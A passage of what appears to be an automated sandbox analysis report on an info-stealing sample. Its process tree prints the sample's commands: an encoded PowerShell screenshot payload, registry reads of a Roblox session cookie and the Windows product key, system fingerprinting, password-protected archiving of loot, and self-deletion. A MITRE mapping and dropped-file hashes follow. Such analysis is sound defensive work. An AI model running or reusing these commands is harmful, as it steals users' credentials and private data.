JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2440
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4q1l2zek\4q1l2zek.cmdline"
        5⤵
        
        PID:4580
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91FF.tmp" "c:\Users\Admin\AppData\Local\Temp\4q1l2zek\CSC6D49BF153C04AC6A6E4F037C4F3385.TMP"
        6⤵
        
        PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1252
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:2040
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2724
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:3816
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:220
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2492
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2072
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:3632
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI47362\rar.exe a -r -hp"cybermole" "C:\Users\Admin\AppData\Local\Temp\6IVH8.zip" *"
    3⤵
    PID:4328
  - - C:\Users\Admin\AppData\Local\Temp\_MEI47362\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI47362\rar.exe a -r -hp"cybermole" "C:\Users\Admin\AppData\Local\Temp\6IVH8.zip" *
      4⤵
      Executes dropped EXE
      PID:1392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3480
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:2516
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4044
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:4332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2900
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:4732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\index.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4636
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2072

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1128

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
e8a95a33bdaa8522f9465fd024c3ec88

SHA1
45c15dbb8ab99be8e813aee1ed3e21ad334c8745

SHA256
06abbf9cccdf6557b1f616e0c9214c580f1d2be928104a0c8193c2217dd98c1b

SHA512
c429d8d5bfba8790a725e9d6eed656b93e69bfa8290ca388cf007aeb82462db39539ce5da4ab00c19e795344119ab14cef915c39503da80a69953e0e2ee2a002

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2933ed6d8985521d392298b28748149e

SHA1
c286afad02b1edd846935f6ada387bd2b6b2695d

SHA256
c16273237356fc81a1ad8ba4e3c05d7ecf806276454e0dc4809fa89e29b12323

SHA512
c439ca3553b05f6cb06fa577f3cd84eb680b7ad249c7b128bfbd7ac868511c510e315b6553ca4c4d436ee2beb0f756403bc990b39213c2e9d2ff89b1131dcaee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
26c94c408a5a2e1e04f1191fc2902d3e

SHA1
ce50b153be03511bd62a477abf71a7e9f94e68a5

SHA256
86ad00a425874b935cc725f83780add09d08d7dc9cbfb705821955fe937c05ec

SHA512
70e7bc620b369d7d0fcf06f93da000819bf089a502f1014641ad14d56ead22f31c25b97363296fd3749c63bde6db3bf115b33504b160485d792e1331c337b586

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f0f59cccd39a3694e0e6dfd44d0fa76d

SHA1
fccd7911d463041e1168431df8823e4c4ea387c1

SHA256
70466c7f3a911368d653396fdd68f993322c69e1797b492ca00f8be34b7f3401

SHA512
5c726e1e28cb9c0c3ab963fbfbf471c6033839f3e535a3811581fdaa4da17175e5a8a8be84a4fccd99b81e048058e51d230ff3836e3ec920057a1b1676110bee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9ecd59a52ea0335cf7910238177aec95

SHA1
f497813ced880c86ef6a0a35c020d7f026b9f8c7

SHA256
ac39e5f1dfa842a168f2215a202af507bc0ac34315f59ca8468d03974e722d13

SHA512
eea3a315d98a0d60f7503c24ee0e1c26fe9a2f8933fd6acd79e364eaff916bab6b4f75fa29fd024b2192830411c74abf76bcc27668b6abd2505a42d905d5455d

Download Submit
C:\Users\Admin\AppData\Local\Temp\4q1l2zek\4q1l2zek.dll

Filesize
4KB

MD5
98fe0108d126d49cae8d1555d4dac0f7

SHA1
5ee4cf48d445d882c126e5287380334d02953242

SHA256
6844dc121ee9fc095782c9d0bb458a558d4cdff479fd83aa7c346ae3224db7c5

SHA512
701be101a55829e097ca4d80e1d71a2f6a04e2acaa5136a09d21dc8ee4e0ec2ee3cbad885e313f90d127010bb8f90e06cd4c29c4097a64a07378ee03f108f948

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES91FF.tmp

Filesize
1KB

MD5
9d0a4295f2b418d3669415d7579336ac

SHA1
3db5d012088b2afa7b06991e3516dfdbd325085a

SHA256
fda6b9a529dbdd3ad6d48a35df53d1e4b23c7ff0136f874be32aa7599fac324a

SHA512
c78060291ed57e2974b00594bbeb74f7acf0239d4f106cd9deaefea1dbe6fa10600cde5c7d103ce22260980ca63c347aab921182efbd2acf474d111855ef2dd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\VCRUNTIME140.dll

Filesize
106KB

MD5
870fea4e961e2fbd00110d3783e529be

SHA1
a948e65c6f73d7da4ffde4e8533c098a00cc7311

SHA256
76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

SHA512
0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_bz2.pyd

Filesize
48KB

MD5
83b5d1943ac896a785da5343614b16bc

SHA1
9d94b7f374030fed7f6e876434907561a496f5d9

SHA256
bf79ddbfa1cc4df7987224ee604c71d9e8e7775b9109bf4ff666af189d89398a

SHA512
5e7dcc80ac85bd6dfc4075863731ea8da82edbb3f8ffafba7b235660a1bd0c60f7dfde2f7e835379388de277f9c1ceae7f209495f868cb2bd7db0de16495633c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_ctypes.pyd

Filesize
58KB

MD5
7ecc651b0bcf9b93747a710d67f6c457

SHA1
ebb6dcd3998af9fff869184017f2106d7a9c18f3

SHA256
b43963b0883ba2e99f2b7dd2110d33063071656c35e6575fca203595c1c32b1a

SHA512
1ff4837e100bc76f08f4f2e9a7314bcaf23ebfa4f9a82dc97615cde1f3d29416004c6346e51afc6e61360573df5fcd2a3b692fd544ccad5c616fb63ac49303c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_decimal.pyd

Filesize
106KB

MD5
0cfe09615338c6450ac48dd386f545fd

SHA1
61f5bd7d90ec51e4033956e9ae1cfde9dc2544fe

SHA256
a0fa3ad93f98f523d189a8de951e42f70cc1446793098151fc50ba6b5565f2e3

SHA512
42b293e58638074ce950775f5ef10ec1a0bb5980d0df74ad89907a17f7016d68e56c6ded1338e9d04d19651f48448deee33a0657d3c03adba89406d6e5f10c18

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_hashlib.pyd

Filesize
35KB

MD5
7edb6c172c0e44913e166abb50e6fba6

SHA1
3f8c7d0ff8981d49843372572f93a6923f61e8ed

SHA256
258ad0d7e8b2333b4b260530e14ebe6abd12cae0316c4549e276301e5865b531

SHA512
2a59cc13a151d8800a29b4f9657165027e5bf62be1d13c2e12529ef6b7674657435bfd3cc16500b2aa7ce95b405791dd007c01adf4cdd229746bd2218bfdc03f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_lzma.pyd

Filesize
85KB

MD5
71f0b9f90aa4bb5e605df0ea58673578

SHA1
c7c01a11b47dc6a447c7475ef6ba7dec7c7ba24e

SHA256
d0e10445281cf3195c2a1aa4e0e937d69cae07c492b74c9c796498db33e9f535

SHA512
fc63b8b48d6786caecaf1aa3936e5f2d8fcf44a5a735f56c4200bc639d0cb9c367151a7626aa5384f6fc126a2bd0f068f43fd79277d7ec9adfc4dcb4b8398ae2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_queue.pyd

Filesize
25KB

MD5
f1e7c157b687c7e041deadd112d61316

SHA1
2a7445173518a342d2e39b19825cf3e3c839a5fe

SHA256
d92eadb90aed96acb5fac03bc79553f4549035ea2e9d03713d420c236cd37339

SHA512
982fd974e5892af9f360dc4c7ccaa59928e395ccef8ea675fadb4cf5f16b29350bf44c91ea1fd58d90cbca02522eba9543162e19c38817edbfd118bc254515da

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_socket.pyd

Filesize
43KB

MD5
57dc6a74a8f2faaca1ba5d330d7c8b4b

SHA1
905d90741342ac566b02808ad0f69e552bb08930

SHA256
5b73b9ea327f7fb4cefddd65d6050cdec2832e2e634fcbf4e98e0f28d75ad7ca

SHA512
5e2b882fc51f48c469041028b01f6e2bfaf5a49005ade7e82acb375709e74ad49e13d04fd7acb6c0dbe05f06e9966a94753874132baf87858e1a71dcffc1dc07

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI47362\_sqlite3.pyd

Filesize
56KB

MD5
72a0715cb59c5a84a9d232c95f45bf57

SHA1
